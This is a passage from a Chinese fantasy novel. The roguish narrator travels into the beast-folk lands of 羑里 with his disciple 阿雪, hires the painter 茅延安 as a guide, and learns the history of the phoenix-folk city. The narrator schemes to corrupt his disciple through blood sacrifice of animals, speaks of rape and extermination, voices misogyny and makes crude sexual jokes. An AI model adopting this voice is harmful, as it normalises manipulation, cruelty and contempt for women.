雖然說收起了翅膀,這頭豹子看來就與一般的黑豹沒什麼兩樣,但它的鼻子與感官,卻真個是一等一的靈敏,行走在森林裡頭,很多的毒蟲、毒霧,它都早一步察覺,然後帶領我們閃開。雨林樹海之內,步步危機,我和阿雪兩個毫無經驗的新手想要穿越,若不是有這頭豹子掩護,怕早就不知道在七彩瘴氣中昏迷幾次,葬身在這森林裡的大小毒物口中了。
越往羑里走,半獸人的數目會逐漸變少,純血獸人的數目則是相形變多,這些獸頭獸身、口吐人言的傢夥,看起來真是有礙觀瞻,沒有提前滅種,讓我非常遺憾,而他們對於人類的仇視,則是讓我很傷腦筋,部分純血獸人甚至對混有人類血統的半獸人都連帶憎恨。光只是這個理由,他們就可以莫名其妙地衝過來,把我痛扁一頓,全身骨骼弄得不成人形之後,吊掛在樹上,然後在我面前輪暴阿雪。
如果這種事真的發生,我除了感嘆報應,也沒有別的話好說,幸好紫羅蘭的鼻子很靈,總是搶先聞到了他們的氣味,帶我們繞開,沒有真正和那些畜生遭遇,避過可能發生的危機。
其實,即使是碰到了那些比蒙熊人、虎人,以阿雪的怪力,也有一拼之力,光是看她徒手將那些一人合抱不攏的巨木攔腰勒斷,當作武器這樣地胡亂揮掃,就算是獸人中力氣最大的比蒙熊人,也是只有抱頭鼠竄的份。然而,身為阿雪師父的我,卻不樂意見到這丫頭和敵人打肉搏戰,以一個武者而言,這丫頭的心太好,雖然反應神經靈敏,但如果沒法在適當時刻下決心,殺掉該殺的東西,露出來的破綻就足以讓她被人一擊致命了。
“阿雪,看看你,為什麼你就這麼沒用啊?傳說故事裡頭的男主角,動不動就是帶著什麼聖武神、神聖大魔導士之類的女隨從,要多威風就有多威風,你卻除了丟石頭、抱斷大樹之外,什麼都不會,盡是在那邊丟我的臉,你難道不會覺得慚愧嗎?”
如果阿雪本身有很好的武術或是魔法修為,根本就不必這樣狼狽地躲開獸人,甚至只要有她身為天河雪瓊時的三成本事,我們就可以在樹海裡頭橫著走路了。
“唷呵,可是……師父啊,通常不都是師父該保護徒兒的嗎?人家已經幫忙您提行李,還有做好多的事,為什麼連戰鬥也要我上場呢?而且,我們還有小紫啊,它力氣很大,還會噴火放電呢,危險的時候,它一定能派上用場的。”
“混帳東西,你這是什麼態度?居然敢要師父來幫你做事?師父是出主意的,徒弟才是衝鋒陷陣的嘛,如果拼命的時候師父不能躲在後面,那還收徒弟做什麼?有事弟子服其勞,這可是聖賢書裡頭的名句。聖賢耶,會用兩條腿走路,張口不會汪汪叫的偉大生物,你敢違抗聖賢說過的話嗎?”
先聲奪人,把阿雪逼得說不出話來,我道:“你別以為那頭豹子管什麼用,如果它真的那麼強,又怎麼會被那些獸人抓去當眾配種?我們即將要面對的敵人,肯定是很強的,如果不先讓你有點自保能力,到時候就小心和這豹子一起被抓去配種,一配再配,配得不亦樂乎,你很享受嗎?”
大概是想到當日紫羅蘭的慘狀,阿雪的俏臉忽然變得慘白,一個勁地搖頭說不。
“如果不想變成那樣的話,就要好好練好我要你練的東西,只要自己實力好,就什麼都不用怕了。”
“可是……師父你教的東西,太難練了啦……我、我真的沒辦法……”
“什麼?你想偷懶嗎?我告訴過你多少次了,一勤天下無難事,只要你認真去做,魔法其實根本就不難嘛。”
“不是那個意思啊,師父你每次要我去練魔法,都要抓一些小貓小鴨,把它們的頭砍斷,然後放血,人家、人家不想要做這種事啦……”講到情急處,阿雪給逼得直跳腳,眼淚也開始滑下面頰。
“修練魔法不是有很多種途徑嗎?我可以努力背咒文,也可以拼命練習,為什麼就非要傷害別的東西呢?”
“去你個擔擔面,你練的是黑魔法耶!黑魔法如果不殺生,那怎麼叫做黑魔法?你以為你自己是神職人員,想練什麼很乾淨的法術嗎?半獸人就要有半獸人的樣子,去,搞不清楚狀況。”
這就是我們現在遇到的最大問題,以阿雪的心慈手軟,老實說,根本也就不是一塊修練黑魔法的料。正常的修練程序,通常都是自身積蓄到一定魔力之後,去和符合自己級數的黑暗神明結訂契約,完成試練後,契約完成,自己從此可以使用該項咒術。
再不然就是亡靈法術。自己去墳場弄來一堆骨骸或是屍體,配合咒語和道具,吸納大批靈體的陰森之氣,增長魔力,當魔力足夠,就成了使喚各種殭屍、邪魅、魔靈的亡靈法師。
但不管是哪一種,只要是屬於黑魔法的範圍,都會要求奉祀生物血液。鮮血在黑魔法中,向來就是很特殊的一種觸媒,許多咒術都是在鮮血配合下發生作用,因為對於寄宿在黑暗中的各種邪靈來說,富含生命精華的鮮血,是他們最渴求的誘餌。
但是讓阿雪這丫頭來練,就實在是錯得很離譜了。她什麼都怕,什麼也都不願意去傷害,生人血肉是別想了,就連殺些雞鴨貓狗,也都讓她軟腳啼哭,這樣子一年下來,當然不會有什麼進展。
但倘使她能下定決心去修練,應該很快就會有驚人進展。如果是照常理,六大系魔法元素,除了風系之外,像天河雪瓊這樣自幼修練光明系魔法的女神官,是不可能再修練其它系魔法的。但不知道黑龍會的改造手術究竟是怎樣搞的,亦或者這是改造失敗的意外變化,天河雪瓊的強大修為,全部被轉化成了最純粹的能量,沒有性質之分,得到了千載難逢的轉質機會。
由於全身都充盈著巨大能量,這令得阿雪的肉體極為強健,舉手投足都爆發著恐怖的怪力,但倒過來說,只要有個管道讓這能量確定型態,慢慢地宣洩出去,阿雪的魔法就如同水到渠成,一夜之間便可以擁有高級魔法師的修為。
我當然不會笨得再要她去修練光明魔法,雖然說因為以前的基礎,她的肉體易於接受光明魔法,使用時的負擔也少,但是這樣一來,她治愈腦裡的舊傷,回複記憶的機率也就相對提高,那時候我如果沒被碎屍萬段,就真是有鬼了。
在我心裡,仍在策劃著一些壞點子。世上沒有不透風的牆,也沒有永遠的秘密,我不敢奢望阿雪會這樣傻上一輩子,即使她不回複記憶,將來也仍是有可能被慈航靜殿的人給發現,所以,我就必須想一個萬全之計。
身為慈航靜殿的神官,將來極有可能接掌整個慈航靜殿的光之聖女,卻修練了一身邪惡而兇殘的黑魔法,加上她修練黑魔法時期染在手上的血孽,就算她想要回頭,慈航靜殿也不可能接受一個黑暗法師重歸門下,這樣子一來,天河雪瓊就算是徹底毀了。這是我的後著,一記就算她把我幹掉,仍然得要與我同歸於盡的後著。
我是個很會記仇的人,結下樑子之後,只要逮到機會,我的報仇手段就無孔不入,當初在娜麗維亞,連阿巫這樣膽大包天的人渣,都因為忌諱這一點,而不願與我發生衝突。冷翎蘭和天河雪瓊這樣子當眾辱我,光是想起來,就恨得直想跺腳捶牆,現在機會自行送到了我手上,哪有不好好利用的道理。
而且,想像到把一名聖女轉變成魔女的墮落過程,就不其然地令人感到一陣快感,那不單單是複仇成功的喜悅,更有一股讓完美事物崩毀的滿足感,光是想起來,就讓我不禁得意地冷笑起來。
“哼!哼哼哼哼……”
“唷呵,師父啊,為什麼你笑得這麼古怪啊?手抖、脖子抖,連肩膀也抖個不停。小紫說,你笑得活像一隻快斷氣的癩蛤蟆呢。”阿雪皺皺眉頭,不解地問道:“快斷氣的癩蛤蟆是什麼意思啊?是很開心的意思嗎?”
才正得意於自己操縱一切的惡魔感覺,卻被這笨丫頭的疑問破壞氣氛,剛要沒好氣地還以一句,卻驚覺了她話意裡的異常。
“阿雪,你剛剛說什麼,你和這頭畜生……你和紫羅蘭可以溝通?你聽得懂它的話嗎?”
阿雪點頭稱是,表示從前幾天開始,她漸漸可以聽懂紫羅蘭聲音裡頭的意思,還和紫羅蘭笑嘻嘻地摟抱在一起,一副甜蜜主人與寵物的樣子。
算了,怪事年年有,今年特別多。比起人類,半獸人要聽懂野獸的話,大概是比較容易吧。
其實,要讓阿雪修練黑魔法,這應該不難,只是我還沒有找到方法。也許我面前的阿雪,就是她內心本性的真誠表現,但當初我遇到的天河雪瓊,卻是冷若冰霜,照她那種冷淡樣子看來,一但要殺起她認定的惡人,多半毫不手軟,這樣的殺性,與黑魔法需要的性格,只是一線之隔。慈航靜殿能把人調教成這樣,我沒有理由做不到。
就這樣,我想盡辦法,試圖在進入羑里之前,讓阿雪在黑魔法上有點根基,不過,直到我們離開雨林為止,成果依然是毫無所獲。
第七章延安奇人
在進入雨林樹海的十四天后,我們從森林中離開,正式進入了羑里的區域。
話雖如此,但放眼望去,仍然是一片山巒與樹林,畢竟整個羑里盆地是被群林大山所包圍,所謂的脫離樹海,只不過是開始接觸市集城鎮而已。
南蠻獸人勇猛好鬥,這點在我進入羑里之後,得到了很充分的印證。就在大街之上,常常是一個獸人大喊一聲“哇殺”,跳了出來,攔在另一個獸人之前,然後兩邊就對戰起來,這邊一記虎爪過來,那邊一記豹拳過去,幾下子功夫就血花四濺。
這樣子的情況,沒多少時間就在街上反複上演,路人們好像也已經習以為常,絲毫不覺得奇怪,反而很熟練地讓出空間來,讓那些乾架的可以大干一場。
不過,打的雖然激烈,卻還不至於傷及性命,這主要是因為獸人們皮粗肉厚,又在勝負已分之後不下殺手,但很奇怪的是,就算看得出自己要輸了,輸家也會堅持到最後一刻,決不逃跑。
奇異的南蠻風俗,真是讓我難以索解。
到市鎮之後,我們到處找人詢問史凱瓦歌樓城的所在,得到的卻盡是一雙雙直瞪過來的怪異目光。
在南蠻打混一年,這裡的語言我學會了六七成,阿雪聰明伶俐,更是說得琅琅上口,聽不出半分口音差異,過去在市場交易時,曾靠著這點成功殺過無數次價,照理說應該是和本地人混熟的一項有利條件,誰知道,阿雪才開口說幾句話,就立刻被發現是外來者,對方也對我們的問題不理不採。
我身上帶了一些可以賣到不錯價錢的寶石與金飾,預備在這裡賣掉,兌換成通用貨幣,可是照現在這樣的情形,如果貿然拿出值錢貨物,可能只會成為獸人們的目標,惹來麻煩。
為防不測,我和阿雪都換上了斗篷,遮掩住面容,省得惹來太多麻煩,不過,獸人們的鼻子不是長在那裡沒用的,我身上的人味,才剛出現就引起了他們的注意,當我們走在街上,沒多久,後頭就開始跟著一大票獸人。
如果是半獸人,那還好看一點,因為雖然毛多了些,又長著尾巴或是獸耳,但起碼臉看起來還是人樣,可是如果是純血獸人,那看起來就是一頭特別巨大、會用兩腳站立的猛獸,雖然說不上美觀,但是誰都感覺得出他們的殺傷力。
“師……師父,我們該怎麼辦?後頭好像跟了很多人啊。”
“不要吵,只要你不出聲,他們就不會發現了。”
這個說法當然是不可能的,至少跟在我後頭的幾十名虎人、豹人,就很顯然地不認可這說法,瞧他們一個個目露凶光,不約而同地握緊了手上的棍棒與釘槌,就知道情況不妙,馬上就要動手了。
體認到這個事實,我不禁後悔自己日前為何貪小便宜,不先準備一點輔助用的魔法捲軸在身上。
雖然這裡是大街上,但是我們兩個外地人沒可能得到任何保護的,我想來想去沒有辦法,向阿雪使眼色,準備先下手為強,讓紫羅蘭居前,噴火放電地逐退這些獸人,阿雪作第二道防線,防止他們衝近過來,這樣子雙重作戰,要對付這些沒組織性的獸人,應該是沒有問題。
怎知道,或許是因為太過專心打暗號,我居然沒有發現有人從正前方冷不防地靠近過來,待得驚覺,已經是一記重拳轟在臉上。
“僕你個臭街,你這賤賊!什麼人不好勾引,居然敢勾引我老婆,給我仆街去吧!”
鼻血直流,險些連鼻樑都給打斷了,我痛得要命,腦裡卻是還搞不清楚,為什麼會莫名其妙挨揍?
我是初次來到羑里,不該和本地人有恩怨,至於搞上人家老婆,自從離開娜麗維亞之後,就不曾有過這種事了。
本來要動手的獸人們,遇到這樣的突發事故,反而呆住了,在聽見是另外有糾紛發生後,他們紛紛後退,讓出打架空間來,臉上的表情更是有些怪異。
“你搞錯了,我、我沒……”
“沒你娘親,你給我收聲啊!那天我回家,就看到一個男人和我老婆光溜溜地在床上滾來滾去,光看那恐怖尺寸和熟練動作,就知道一定是你這賤人。”
又是一拳,正中小腹,雖然不是很重,但是取位刁鑽,一下就讓我痛倒在地上。
如果說是報應,那也就算了,可是像這樣沒頭沒腦地挨揍,甚至連打我的人是誰都還沒看清楚,這實在是很冤枉。
“冷、冷靜一點啊……”如果只有挨打,那還好一點,但是我隱約看到,那人似乎拿出了匕首,在陽光下閃著寒光。
“倘若你只是勾引我老婆,那也就算了……”
“就、就是說嘛,老婆被人上了,其實沒什麼大不了的,這、這代表你老婆很漂亮嘛……”
“但是你這狗種為什麼連我兩個妹妹都不放過?那天我回家,就看到一個男人和我兩個妹妹光溜溜地在床上滾來滾去,光看那恐怖尺寸和熟練動作,就知道一定是你這賤人。”
“啊?什麼?你妹妹,我、我好像不曾……”
“曾你娘親!”
沒有動刀,但是連續幾腳踢過來,也真是夠難受的了。阿雪不知道是不是嚇呆了,居然沒有過來幫手,但最奇怪的是,我聽見那群旁觀的獸人,異口同聲地發出一聲驚嘆,好像聽到什麼稀奇事物一樣。
“如果你只是勾搭上了我兩個妹妹,那也還情有可原……”
“對,有話好說,不用動手,我們……哎唷!”
“但是你這禽獸為什麼連我老母都上了?那天我回家,就看到一個男人和我老母光溜溜地在床上滾來滾去,光看那恐怖尺寸和熟練動作,就知道一定是你這賤人。”
“餵,這實在是太誇張了吧,我……”
“我你娘親!”
這次我聽得很清楚,無分什麼虎人、豹人,那群旁觀獸人一起“哇”的一聲驚呼,彷彿聽見什麼很恐怖的事情一般,竟然就這麼樣地一轟而散,幾下子就跑得不見人影。
奇怪的是,當獸人群散了之後,那個怒罵我搞上他全家女性的男子,便沒有再毆打下去,反而一手把我從地上拉起來。
近距離面對面之下,我大為驚訝,因為這人非但是個人類,而且還是個我曾經見過的人類。
布巾纏頭,身穿南蠻地帶特有的彩衣,腰配彎刀,而背上卻背著一堆畫具,兩撇相當富有知性氣息的小鬍子,囂張地彎彎翹著,這人赫然便是我和阿雪在蘇瓦韃剌宮殿裡頭所相識的旅遊畫師,茅延安。
在逃出那座宮殿時,因為他的縱火幫助,我和阿雪得以成功逃脫,但之後卻找不到他的人,想不到大家會在羑里又碰頭了,而且還是這麼怪異的會面。
“哎呀呀,運氣真是不錯呢,只用幾句話和一些拳腳,就把這些獸人趕跑了,我本來還擔心要動到刀子呢。”
茅延安彈了彈手中的匕首,那個刀刃竟然可以收入刀柄裡頭去,而且刀刃裡頭還有紅色液體流出,是一柄相當逼真的道具。要是他用這柄匕首,刺在我的身上,那麼除非近距離觀看,否則誰都會認為我被他給宰了。
“去你媽的,好端端的為什麼打我?”
“打你是為了救你,我的拳頭有那些獸人重嗎?如果是由他們來打,你現在別說死屍,碎屍你都當定了。”
話倒是沒有說錯,他可能因為是文人的關係,手腳力道不大,打在身上也不怎麼痛,但莫名其妙地挨一頓揍,我心裡頭還是老大不快,揪著他的領子質問。
“去你媽媽的,為什麼你打我一頓,那些獸人就都跑光了?這有什麼道理?給我老實說出來。”
“道理自然是有的,不過不光是靠拳頭,而是靠嘴巴。”茅延安低聲道:“朋友,你知不知道,南蠻的獸人們最崇拜些什麼神啊?”
“這個嘛……拜火教囉。”
在南蠻混了一年,我多少也有耳聞。經過長久的宗教戰爭,連串的歸併與結合後,目前大地之上的宗教,基本上仍然是由光之神宮、暗之神宮為兩大山頭,無論是精靈或是人類,都是依著自己的善惡之分,信奉這兩大神殿,尤其是經常要與神明打交道的魔法師,更是如此。
不過,南蠻地區卻是這兩大勢力盡皆難以進入的所在。
野獸的天性是怕火,這一點獸人也不例外,也不知道從什麼時候起,一個以火神為信仰的宗教,在南蠻形成,迅速 拓展勢力,成為了拜火教,教徒跨越種族,在南蠻各部落之間存在,已經變成南蠻頭號強權。
“嗯,你說得沒錯,但你曉不曉得,除了火神之外,獸人們也同樣崇 拜另一個神明呢?”
“哦?什麼神明這麼了不起啊?光之神宮來這裡開分店了嗎?”
“……巨陽神。”
“……”
三人一豹離開了街頭,找間小舖子坐下。在茅延安的解說下,我們才明白,原來南蠻獸人除了敬畏火焰之外,也對巨大陽具有同樣的崇拜。
這其實沒什麼值得奇怪,即使是人類部落,在原始時期,還是有很多人對象徵男性尊嚴的陽物,有著說不出的崇拜,這點從民俗研究的各種陽具圖騰,可以得到證明。
不僅如此,在羑里,還有些風俗習慣簡直令我們這些外來者為之瞠目。
對各族獸人來說,妻妾與人通姦,令得自己頭上的獸毛染綠,戴上一頂天然綠帽,是一生都難以抹滅的羞辱;但相反過來,若是有辦法以非暴力手段,勾引到他人的妻妾或是女眷,那則是比以武力擊敗對方更加榮耀,會受到全族人的高度尊敬。
這也就是為什麼,當茅延安胡扯了那一大堆東西之後,所有獸人竟然被嚇得四散驚逃。
“你不過是個人類,論尺碼……照說該與獸人們差得老遠,但是你不但能勾引到別人老婆,甚至連別人的老妹和老娘都一併帶上床去,哪輪到那些獸人不俯首稱臣,照我說,他們不但會以為你是巨陽神的使者,更搞不好以為你有巨陽神附體呢!”
茅延安說著,更朝我胯間瞥了瞥,大笑起來。
難以想像被這種亂七八糟的神明附體究竟會變成怎麼樣,我只有沈默了。之前沒有註意到,現在面對面細看,這才發現他確實是個很有魅力的中年男人,不單是相貌出色,換上了此地流行的彩衣之後,更是顯得神采奕奕,散發一種少年人的活力,即使在和我們說話的時候,仍不住豎起拇指,遙遙衡量街上行人的身形尺寸,在一本小簿子裡頭飛快地留下人物草圖。
開口時,言談詼諧,特別是那兩撇翹翹的小鬍子,配合上他的氣質,很是有一股頹廢畫家的藝術氣息,像這樣的中年男人,即使身無分文,往往也能在歡場之中贏得女子青睞,以我來看,絕對是那種扮豬吃老虎型的狠角色。
“巨陽神附體?被你這樣說,我也不會高興,那檔子事靠的應該是技巧,光講陽物尺寸,是莽夫所為,我……”
話還沒說完,就被他在我肩頭重重一拍。
“你心裡還是暗自爽了一下對吧?人不風流枉少年,法雷爾提督年少英俊,不用特別客氣啊……”
我沒好氣地看了阿雪一眼,自然又是這笨丫頭多口,向別人洩漏我的身分,不然我一進入羑里就已經改名,這傢夥又怎麼會知道我的名字?
“不用這麼小氣嘛,我這個人呢,最喜歡的就是結交朋友,各派各路的英雄豪傑,我都希望能夠結交,更何況是提督這樣的傑出人物呢?”
阿巫當初也說自己的嗜好是結交朋友,不過被他結交的朋友最後都沒什麼好下場,像這樣的朋友,還是少認識幾個,我的命也長一點。在重申我目前使用的假名“藍雕”之後,我便打算帶阿雪離開。
“怎麼這麼不近人情啊?我想我多少還能夠幫得到你們喔。”茅延安笑道:“有沒有興趣僱用我啊?我多年來為了作畫取景,羑里來來去去走過幾十趟,連一些獸人們不知道的小路我都曉得,是嚮導的不二人選。想要在羑里找個人類嚮導,很難找的,除了我之外,保證方圓百里內找不到第二個。”
“哦?為什麼?你把他們都滅了口嗎?”
“呃……不是那個意思。”
其實不用他說,我也知道,羑里的情形比預期中更糟,我和阿雪人生地不熟,倘使沒有嚮導帶路,走起來就像沒頭蒼蠅一樣。羑里的人類本來就不多,肯替我們帶路的只怕更少,龍女姊姊的事不可以拖,倉促間要找一個嚮導,大概只有眼前這人了。
不過,對於茅延安,我還是不敢全然信任,他這人來得太奇,是因為他的推薦,我們才捲入蘇瓦韃剌事件;而囚禁紫羅蘭的密室,他居然也知道;現在又忽然跟著我們的足跡,來到了羑里。這些東西說是巧合,我實在不太相信。
“不用想太多,只要時間一長,你就會知道,我沒有惡意。”似乎看出了我的顧慮,茅延安笑道:“更何況,你們要去的史凱瓦歌樓城,目前快要變成戰場,就算是獸人,也不會有人敢帶你們去的。”
“等等……你怎麼知道我們是要去……”
“我想不知道都很難啊,誰叫你一來,就到處找人打聽,你以為那群獸人為什麼會跟在你們後頭?”
看他笑得那麼詭異,我便知道事情不尋常,這也難怪,龍女姊姊會委託給我的事,絕對不是單單送個信而已,如果不是有一些困難之處,又怎麼算得上是考驗呢?
在我們的威逼之下,茅延安把我們將會遭遇到的困境解說了一下。
“事情要從十多年前的南蠻開始說起,當時,南蠻最大的勢力,是以鳳凰族為首的羽族,尊鳳凰天女為首,聯合各部族,讓南蠻有一段很富足康樂的時光,那時候……”
所謂的羽族,就是羽翼獸人。可不是有翅膀的都算,是專門限定於羽毛雙翼的才算是羽族,像邪蓮那樣的蝙蝠翅膀,或者說像妖精族那樣的透明翅膀,都不能算是羽族。
而若我的記憶沒錯,羽族應該全部都是女性,當她們與其它獸人結合,誕育後代,生下來的如果是男,就繼承父親一族的血統;若是女,則和母親一樣,都是羽族。
至於鳳凰天女,那是當世四大天女之一的春風(鳳)天女,絕世美貌那是不必說了,之前好像曾經聽茅延安提過,她已經失蹤,下落不明,就不知道是怎麼一回事了。
“羽族的勢力一度十分強大,不過她們卻十分地愛好和平,在她們的治理之下,南蠻……”
“行了,所有用來當形容詞的官樣文章都跳過去吧!又是勢力強大,又是愛好和平,三歲小孩才會相信,不燒殺擄掠,勢力大得起來才怪,這麼強大的勢力會愛好和平,那就很好笑了。”
茅延安進入正題,簡略敘述一下當日羽族的盛況,特別是羽族本營所在、鳳凰天女的居處,那個漂浮於空中的華麗島嶼,更是迄今仍為人所津津樂道的光榮景象。
然而,羽族的治世卻不長久,也不知道究竟是發生了什麼事,某日在一陣突來驚變後,整座鳳凰島人間蒸發,消失無蹤。
根據當時有印象之人的描述,那天中午在天文上正是日蝕之刻,本來是個萬里無雲的晴朗天氣,當日全蝕開始,整個天空暗了下來,這些都還算是正常現象,但稍後卻不知從何處飄來大片烏雲,遮空蔽天,將整個天幕厚厚遮住,當午時一過,日全蝕結束,陽光穿透烏雲重灑大地,那片烏雲消散無蹤,但本來漂浮在空中的鳳凰島,也隨之消逝不見,從此再也沒人看到過。
“那已經是十九年前的事了,連同鳳凰天女在內,島上全部的羽族高手全都跟著消失。十九年來,此事變成南蠻最大的謎團,不知道有多少人都在追查,想知道她們究竟到哪裡去了?”
“這還用得著說嗎?陰謀氣息這麼明顯,當然是給人全部幹掉啦。”
“這想法也獲得了不少人支持,不過,以那時候羽族的實力堅強,整個南蠻所向無敵,別說沒有一個部族能與之對抗,就算是所有部族聯合起來,也不是羽族的對手,更別說能操控十二頭獸魔的鳳凰天女,本身就是南蠻第一高手,其它部族絕不可能有力量攻破鳳凰島。”
“這樣啊?其實我倒是有一個疑問,茅老兄,你剛才說這已經是十九年前的事了吧?”
“是啊,有什麼問題嗎?”
我皺眉道:“就算再美,一個已經失蹤十九年的女人,為什麼還能名列當今十大美女之一?”
似乎沒料到我關心的重點,茅延安尷尬笑道:“呃……關於這點,似乎是因為十大美人是大陸諸國的閒人共同推舉,南蠻地處偏僻,事情又是在羑里發生,資訊傳達緩慢,外頭的人搞不清楚狀況的樣子。”
“這件事情又和我們的目的地有什麼關係?”
茅延安跟著解釋,自從鳳凰島消失,南蠻各獸族便力圖反撲,重振自己勢力,反觀羽族,卻因為失去領導者的關係,內亂不休,沒有了鳳凰天女的守護,她們的地位與實力一落千丈,在連續多次的大小戰爭後,以蛇、豹、熊、虎為首的四大獸族,取得了南蠻地方的控制權,而羽族就此沒落下來。
如今,要在南蠻找到羽族,已經不太容易。她們往往藏匿於高山深嶺,不敢輕易出現人前,因為各大獸族絕不允許羽族重整勢力,再建立多年前的盛世,而羽族人的美麗姿色,也成了她們的原罪,各大獸族的權貴,都以蒐集羽族的姬妾、女奴為榮。
“好、好可憐喔……”聽到這裡,一直摟著紫羅蘭的阿雪,雙目中淚珠隱現,為著聽到的事情由衷地悲傷,“這樣子的話,對羽族人不是太不公平了嗎?”
“……是啊,說來真讓我們這些外人扼腕,就因為這些理由,昔日曾經高高翺翔雲上的羽族,現在已經不被見容於南蠻了。如果還是羽族的治世,異族人在南蠻的行動也比較容易,不會像現在這樣危險。”
“我倒覺得沒什麼好奇怪的,妄想要騎在男人頭上的女人,注定是不會有好下場的,如果今天事情反過來,那我才要覺得傷腦筋呢。不過,你說了那麼多,到底關我們什麼……嗯?該不會……”
“聰明,你要去的史凱瓦歌樓城,就是目前羽族遺民最後的根據地,南蠻四大族一向對那邊很沒有好感的……”
鳳凰島消失之時,仍是有相當多的羽族不在島上,因而逃過一劫,後來因為戰亂與其它因素,羽族幾乎為之滅絕。這時,部分羽族遺民於深山中建立樓城,安身立命,同時也讓南蠻殘存的羽族人知道,還有一個團結同胞力量的所在可以庇護她們。
龍女姊姊委託我去傳話的對象,那個名叫卡翠娜的女將 軍,便是史凱瓦歌樓城的現任城主,也是該處的建立者之一。
聽茅延安的說法,雖然排不上十大美人,卻也是南蠻地區芳名遠播的一名標緻美人兒。
對羽族人來說,史凱瓦歌樓城的建立,不啻是無邊黑暗中的一盞名燈,但看在蛇、虎、豹、熊四大族眼裡,這可不是什麼好事。
特別是,如果羽族再出現鳳凰天女那樣的絕世術者,重新強大起來,再現當日鳳凰島的治世,對他們來說,這等若是敗亡的開始,因為在這段時間內飽受欺淩的羽族人,絕不可能把這些仇恨輕易忘掉。
即使羽族人願意放棄仇怨,安安分分地隱居深山,不去破壞現今南蠻的勢力平衡,各獸族也不可能接受。本來可以任意姦辱、蹂躪的對象,忽然間變成了具有強大威脅性的敵人,那種宛如芒刺在背的感覺確實不好受,這點我可以充分體會。
也因此,以四族為首的南蠻群獸族,自從樓城建立之後,就不斷地用各種藉口與之為難,要羽族人解散根據地,雙方談判破裂,大小戰役不知道打過幾十回了。
各獸族的聯合威迫,勢力自然強大,但一來史凱瓦歌樓城位於深山,建立時得數術高人之助,各種機關、結界法陣之類的設施,為樓城提供了固若金湯的防禦網;二來,羽族遺民曉得自強不息的道理,個個在樓城中勤修苦練,鑽研數術,實力殊不可侮,又知道自己無路可退,每次上陣都像是不要命一樣地殺敵作戰,勇悍絕倫。
各獸族自身亦是心懷鬼胎,都只期盼其它各族和羽族拼個兩敗俱傷,自己從中得利,所以每次某一族向羽族出兵,其餘獸族非但不出手相助,反而常常在戰事僵持時落井下石,攻擊族中防禦力因為出兵而衰弱的該族,迫得遠征軍只得撤軍,火速回奔。因為這些因素,史凱瓦歌城樓歷經烽火洗煉,至今仍在羑里屹立不搖。
“最近那邊還算平靜,四大族也沒聽說有什麼攻擊行動,趁現在趕過去,早到早離開,應該是沒有問題,不然等到戰事再起,要去那邊就很麻煩了。”茅延安笑道:“話是這樣講,不過拜火教曾經對史凱瓦歌樓城實施封鎖制裁,普通人根本不敢和那邊扯上關係,你別說找個嚮導,連找張地圖都找不到啊。”
就算心裡老大不願,我也不得不承認他說得沒錯,如果不顧這個熟悉南蠻地理的畫師為嚮導,單憑我和阿雪,是找不到史凱瓦歌樓城的。
“聽你說,史凱瓦歌城樓位於深山,你知道確切位置嗎?”
“這個不成問題,我是旅行畫師嘛,除了寫生,我也靠繪製地圖當副業,各地的地理環境全記在我腦裡,僱用我準沒錯的。”
“你要多少錢?我們的預算可不多喔。”
“我一毛錢也不要。”出乎意料地慷慨,茅延安拒絕了金錢報酬,微笑道:“我是個追求美之極至的人,阿雪小姐的美貌和神韻,就是我追求的目標之一,只要在旅途有空的時候,讓我為她作畫,那我就心滿意足了……當然,是沒戴面具的那一種。”
不是問題,反正阿雪的真面目上趟他已見過,會發現什麼不對,也早就發現了,現在不需要特別防範。十個藝術家裡頭,有十一個都是瘋子,而既然遇到這種不在乎錢的凱子,我當然不會推辭,點點頭,就把僱約定了下來。
“還有,我偶爾也會寫些詩歌文稿,預備以後付印成書,提督你若是有空,也請告訴我一些你的輝煌戰績,讓我多點靈感,說不定以後可以幫你寫成回憶錄喔。 ”
我會笨到把實話告訴你才怪,如果照實寫起回憶錄,軍部肯定會立刻捉拿我治罪。
“對了,出發之前有一件事我想知道。”我皺著眉頭,低聲道:“大家說的都是南蠻話,為什麼你和這裡的人交談,他們就對你很和氣?我和阿雪才說幾句,就差點在街上被人打?”
這一點很重要,倘若不想走在街上,天天被獸人圍毆,至少我要學會這裡的方言,知道怎麼讓羑里人接受。剛剛看茅延安一路走來,所有路上獸人都和他打招呼,顯然在此地甚是吃得開,我想弄清楚這個秘訣到底是什麼。
“喔,這個啊,很簡單,因為你們說的不是強者話。”茅延安道:“南蠻是個高度尚武、崇拜武中強者的地方,語言也有相應的變化,你們說的是基本語,但來到羑里,不學會這裡的方言變化是不行的。”
一番話聽得我們是一頭霧水,正要詢問,卻出現了示範的實例。茅延安往外頭一指,只見一名熊人大喊一聲“哇殺”,就跳到街旁,攔在一名虎人身前,卻不是作出肉搏挑戰,而是在那個肉攤之前開始殺價。
“你這個無膽匪類,這樣腐臭的爛豬肉也敢賣這麼貴,我今日就要你在我的正義鐵拳之下,仆街當場!”
很常見的決鬥挑釁,我卻正好向身旁嚮導詢問專有名詞。
“很久以前我就想問了,仆街兩個字的意思是……”
“倒在路邊,簡單來說也就是死在路邊沒人收屍,在普通情形下,是一種很惡毒的詛咒,但是在南蠻的強者語中意義重大,和廢柴、收聲、轟殺、未夠班一樣,都是強者語中的關鍵字,如果不學會,很容易就被當地人認出來的。”
“廢柴?未夠班?”
我和阿雪還在為新學到的單字大惑不解,街上的兩名獸人已經對乾了起來。
真是想像不到,除了肉搏武鬥,獸人們連買菜殺價也是如此激烈,口沫橫飛地壓低價格,同時更有一些難懂的句子夾雜其間。
“他媽的!我今日必定要將你轟殺!這塊最大的豬肉便廉價給我吧!”
“哈哈哈,雕蟲小技,我會心軟嗎?你便不能把我估計得到。殺呀!”
“你這根沒用的廢柴,想要敗我,你還遠遠地未夠班啊,便給我敗吧!”
“好、好勁啊!”
連串對話,聽得我和阿雪是目瞪口呆,雖然每一句都聽得懂,但是卻又覺得狗屁不通,特別是看著兩個獸人比手畫腳,甩著手上的豬肉,在挑剔毛病之餘,更像強者決鬥那樣大聲喊話,感覺真是怪異。
“想殺我的價?我忍屎忍尿也忍不下你,你惹龍惹虎也不該惹到我呀!”
“混帳,與我作對,你今日便要死的極慘,最慘,慘絕人寰啊!”
古怪的文法,聽得我們是毛骨悚然,一旁的茅延安解釋道:“獸人力大無窮,所以就分外崇拜武力,特別是像萬獸尊者那樣武功絕頂的強者。多年以來,外界的每一場強者決鬥,都會整理成事後報導傳回南蠻,連戰鬥中的語錄都記載得清清楚楚,讓崇拜者琅琅上口,久而久之,就變成這裡方言的一種特色了,簡稱強者語,外界人不熟悉,講兩句就錯了。”
